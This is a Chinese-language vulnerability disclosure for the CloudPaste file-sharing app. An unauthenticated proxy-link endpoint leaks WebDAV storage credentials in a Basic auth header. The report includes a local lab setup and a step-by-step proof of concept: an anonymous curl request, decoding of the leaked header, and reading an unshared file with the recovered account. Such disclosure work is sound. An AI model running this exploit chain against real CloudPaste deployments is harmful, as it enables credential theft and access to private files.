# CloudPaste 漏洞报告 软件名称:CloudPaste 开发者或厂商:ling-drag0n 代码仓库:https://github.com/ling-drag0n/CloudPaste ## 1. 代理链接接口回显 WebDAV 存储凭据 简要描述:匿名访问者请求代理链接接口时,接口返回 WebDAV 存储配置的用户名和口令。 影响版本:1.1.0 ~ 1.9.1 漏洞引入:[CloudPaste commit ef6edbaa](https://github.com/ling-drag0n/CloudPaste/commit/ef6edbaa65e1a8e29bee6b5cdaeb4e085b893434) 前置条件:目标实例存在基于 WebDAV 存储的公开文件分享链接。 ### 漏洞成因 `/api/proxy/link` 供反向代理获取上游地址,路由没有挂载鉴权中间件。相关代码如下: ```js // backend/src/routes/proxyLinkRoutes.js:88-95 commit 282ea1c7fb proxyLinkRoutes.post("/api/proxy/link", async (c) => { const db = c.env.DB; const encryptionSecret = getEncryptionSecret(c); const repositoryFactory = c.get("repos"); const { type, path, slug } = await parseLinkBody(c); ``` 分享分支取出分享记录后,通过 `getShareUpstreamLink` 生成上游请求,并把返回的 `headers` 放入响应。相关代码如下: ```js // backend/src/routes/proxyLinkRoutes.js:139-167 commit 282ea1c7fb case "share": { const file = await fileService.getFileBySlug(slug); const access = fileService.isFileAccessible(file); if (!access.accessible) { if (access.reason === "expired") { throw new AuthorizationError("File is expired"); } throw new NotFoundError("File is not accessible"); } const storageLink = await linkService.getShareUpstreamLink( file, // 分享视图只需要 user 类型与 id(目前仅用于后续扩展) { type: userType, id: userType === UserType.ADMIN ? userIdOrInfo : userIdOrInfo?.id ?? null }, { request: c.req.raw, }, ); if (!storageLink || !storageLink.url) { throw new NotFoundError("Share file does not have a resolvable link"); } return c.json( buildLinkResponse({ url: storageLink.url, header: normalizeHeaders(storageLink.headers || {}), }), ApiStatus.OK, ); } ``` `use_proxy` 为 0 时,`getShareUpstreamLink` 调用存储驱动的 `generateUpstreamRequest`。相关代码如下: ```js // backend/src/storage/link/LinkService.js:235-250 commit 282ea1c7fb // 2) use_proxy = 0 且驱动具备上游 HTTP 能力时,优先交给驱动返回 {url, headers},由反代直连存储 try { if (typeof driver.generateUpstreamRequest === "function") { const upstream = await driver.generateUpstreamRequest(file.storage_path, { subPath: file.storage_path, request, userType: userInfo?.type || null, userId: userInfo?.id || null, }); if (upstream && upstream.url) { const headers = normalizeUpstreamHeaders(upstream.headers); console.log( `[LinkService][share][upstream-http] 文件(${file.id || slug}) 上游使用驱动 UPSTREAM_HTTP 能力: ${upstream.url}`, ); return createProxyLink(upstream.url, { headers }); } } ``` WebDAV 驱动的 `generateUpstreamRequest` 把存储配置中的用户名和口令编码为 Basic 认证头,放入返回的 `headers`。相关代码如下: ```js // backend/src/storage/drivers/webdav/WebDavStorageDriver.js:800-819 commit 282ea1c7fb async generateUpstreamRequest(path, options = {}) { this._ensureInitialized(); const { subPath } = options; const relativePath = subPath || path; const davPath = this._buildDavPath(relativePath, false); const url = this._buildRequestUrl(davPath); /** @type {Record} */ const headers = {}; const auth = this._basicAuthHeader(); if (auth) { headers["Authorization"] = [auth]; } return { url, headers, }; } ``` 该 Basic 认证头是 CloudPaste 访问 WebDAV 服务所用的凭据。接口把它原样交给请求者,匿名访问者由此获得 WebDAV 账号。 ### 复现环境搭建 使用官方 Docker compose 部署,保留官方默认端口,只把 frontend 服务的 `BACKEND_URL` 改为 `http://127.0.0.1:8787`: ```bash mkdir cloudpaste && cd cloudpaste wget https://raw.githubusercontent.com/ling-drag0n/CloudPaste/main/docker-compose.yml # 编辑 docker-compose.yml,把 frontend 的 BACKEND_URL 改为 http://127.0.0.1:8787 docker compose -p cloudpaste-report up -d ``` 另起一个需要 Basic 认证的 WebDAV 服务,账号为 `davuser`,口令为 `davpass-SECRET`,`private.txt` 的内容为 `WEBDAV-PRIVATE-DATA`,`admin-notes.txt` 的内容为 `WEBDAV-UNSHARED-DATA`: ```python from base64 import b64encode from fastapi import FastAPI, HTTPException, Request, Response USER = "davuser" PASSWORD = "davpass-SECRET" EXPECTED = "Basic " + b64encode(f"{USER}:{PASSWORD}".encode()).decode() FILES = { "private.txt": b"WEBDAV-PRIVATE-DATA", "admin-notes.txt": b"WEBDAV-UNSHARED-DATA", } app = FastAPI() @app.api_route("/dav/{path:path}", methods=["GET", "HEAD", "PROPFIND", "OPTIONS", "PUT"]) def dav(path: str, request: Request): if request.method == "OPTIONS": return Response(status_code=200, headers={"DAV": "1,2", "Allow": "OPTIONS,GET,HEAD,PUT,PROPFIND"}) if request.headers.get("authorization") != EXPECTED: raise HTTPException(status_code=401, headers={"WWW-Authenticate": 'Basic realm="dav"'}) if request.method == "PUT": return Response(status_code=201) body = FILES.get(path) if body is None: raise HTTPException(status_code=404) if request.method == "PROPFIND": xml = ( '' '' f"/dav/{path}" f"{len(body)}" "text/plain" "Sat, 15 Nov 2026 08:00:00 GMT" "HTTP/1.1 200 OK" ) return Response(xml, media_type="application/xml") if request.method == "HEAD": return Response(status_code=200, headers={"Content-Length": str(len(body)), "Content-Type": "text/plain"}) return Response(body, media_type="text/plain") ``` 启动服务: ```bash uvicorn report_dav_server:app --host 0.0.0.0 --port 19098 ``` 下文以 `172.20.0.1` 表示该主机在 CloudPaste 容器内可访问的地址,可以用下面的命令查看: ```bash docker network inspect cloudpaste-report_cloudpaste-network \ -f '{{range .IPAM.Config}}{{.Gateway}}{{end}}' ``` ### 复现过程 先登录管理员账号: ```bash curl -s -X POST http://127.0.0.1:8787/api/admin/login \ -H 'Content-Type: application/json' \ -d '{"username":"admin","password":"admin123"}' ``` 响应如下: ```json {"success":true,"code":"OK","message":"登录成功","data":{"username":"admin","token":"GAyB7YVWrvJqLqTnZ6H1BpgVN44Z7nUK","expiresAt":"2026-11-22T01:44:05.674Z"}} ``` 把响应中的 token 填入下面的脚本,创建 WEBDAV 存储配置和挂载点,并把 `/dav/private.txt` 创建为分享。脚本如下,依赖 `httpx`: ```python import httpx BASE = "http://127.0.0.1:8787" TOKEN = "GAyB7YVWrvJqLqTnZ6H1BpgVN44Z7nUK" c = httpx.Client(base_url=BASE, timeout=40) headers = {"Authorization": "Bearer " + TOKEN} r = c.post("/api/storage", headers=headers, json={ "name": "webdav-report", "storage_type": "WEBDAV", "is_public": 1, "endpoint_url": "http://172.20.0.1:19098/dav", "username": "davuser", "password": "davpass-SECRET", }) print("POST /api/storage", r.status_code) print(r.text) cfg = r.json()["data"] r = c.post("/api/mount/create", headers=headers, json={ "name": "webdav-report", "storage_type": "WEBDAV", "storage_config_id": cfg["id"], "mount_path": "/dav", "web_proxy": 0, "is_active": True, }) print("\nPOST /api/mount/create", r.status_code) print(r.text) r = c.post("/api/fs/create-share", headers=headers, json={"path": "/dav/private.txt"}) print("\nPOST /api/fs/create-share", r.status_code) print(r.text) ``` 创建存储配置的响应如下: ```json {"success":true,"code":"CREATED","message":"存储配置创建成功","data":{"default_folder":"","total_storage_bytes":10737418240,"enable_disk_usage":1,"endpoint_url":"http://172.20.0.1:19098/dav","username":"davuser","tls_insecure_skip_verify":0,"id":"c8e8800b-cc61-4afb-9571-1c2d13f20884","name":"webdav-report","storage_type":"WEBDAV","admin_id":"ecb37868-67d4-4aac-b109-2917de8c3d5b","is_public":1,"is_default":0,"remark":null,"url_proxy":null,"status":"ENABLED","created_at":"2026-11-15T01:44:05.696Z","updated_at":"2026-11-15T01:44:05.696Z","last_used":null}} ``` 创建挂载点的响应如下: ```json {"success":true,"code":"CREATED","message":"挂载点创建成功","data":{"id":"d7f43a06-49e0-493c-8023-51fb3aeb8f6c","name":"webdav-report","storage_type":"WEBDAV","storage_config_id":"c8e8800b-cc61-4afb-9571-1c2d13f20884","mount_path":"/dav","remark":null,"is_active":1,"created_by":"ecb37868-67d4-4aac-b109-2917de8c3d5b","sort_order":0,"cache_ttl":300,"web_proxy":0,"webdav_policy":"302_redirect","enable_sign":0,"sign_expires":null,"enable_folder_summary_compute":0,"created_at":"2026-11-15T01:44:05.712Z","updated_at":"2026-11-15T01:44:05.712Z","last_used":null}} ``` 创建分享的响应如下: ```json {"success":true,"code":"OK","message":"分享创建成功","data":{"id":"2ce05f30-9f3e-4ee1-996d-a889b23e75ad","slug":"mWFWZp","filename":"private.txt","mimetype":"text/plain","size":19,"remark":"来自文件系统: /dav/private.txt","created_at":"2026-11-15T01:44:05.789Z","requires_password":false,"views":0,"max_views":null,"expires_at":null,"url":"/file/mWFWZp","use_proxy":0,"created_by":"ecb37868-67d4-4aac-b109-2917de8c3d5b","used_original_filename":true,"storage_path":"private.txt","storage_type":"WEBDAV"}} ``` 匿名请求代理链接接口: ```bash curl -s -X POST http://127.0.0.1:8787/api/proxy/link \ -H 'Content-Type: application/json' \ -d '{"type":"share","slug":"mWFWZp"}' ``` 响应如下: ```json {"code":200,"data":{"url":"http://172.20.0.1:19098/dav/private.txt","header":{"Authorization":["Basic ZGF2dXNlcjpkYXZwYXNzLVNFQ1JFVA=="]}}} ``` 解码 `Authorization` 的值: ```bash echo 'ZGF2dXNlcjpkYXZwYXNzLVNFQ1JFVA==' | base64 -d ``` ```text davuser:davpass-SECRET ``` 使用该账号读取没有被分享的 `admin-notes.txt`: ```bash curl -s -u davuser:davpass-SECRET http://172.20.0.1:19098/dav/admin-notes.txt ``` ```text WEBDAV-UNSHARED-DATA ```